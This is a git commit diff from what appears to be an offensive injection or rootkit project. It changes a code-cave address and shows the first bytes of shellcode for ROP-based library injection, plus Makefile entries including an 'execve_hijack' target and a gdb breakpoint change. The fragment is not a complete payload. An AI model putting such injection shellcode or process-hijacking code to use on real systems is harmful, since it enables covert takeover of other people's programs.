New explanation for the injection technique (alternative scanning process) and added flow diagram with full process.

This commit is contained in:
h3xduck
2022-06-13 10:57:32 -04:00
parent 050684c4d7
commit 99ad9c5548
15 changed files with 30 additions and 15 deletions

View File

@@ -28,7 +28,7 @@
//LIBRARY INJECTION WITH ROP
#define TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME "simple_timer"
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
#define CODE_CAVE_ADDRESS_STATIC 0x00000000004012c4
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
"\x55\x50\x51\x52\x53\x57\x56\
\xbf\x00\x20\x00\x00\x48\xbb"

View File

@@ -15,10 +15,10 @@ simple_timer: simple_timer.o
gcc -g -o simple_timer simple_timer.o
simple_open.o: simple_open.c $(HEADERS)
gcc -g -c simple_open.c
clang -g -c simple_open.c
simple_open: simple_open.o
gcc -g -o simple_open simple_open.o
clang -g -o simple_open simple_open.o
execve_hijack.o: execve_hijack.c $(HEADERS)
gcc -g -c execve_hijack.c

View File

@@ -1,2 +1,2 @@
break *(main+79)
break *(main+52)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.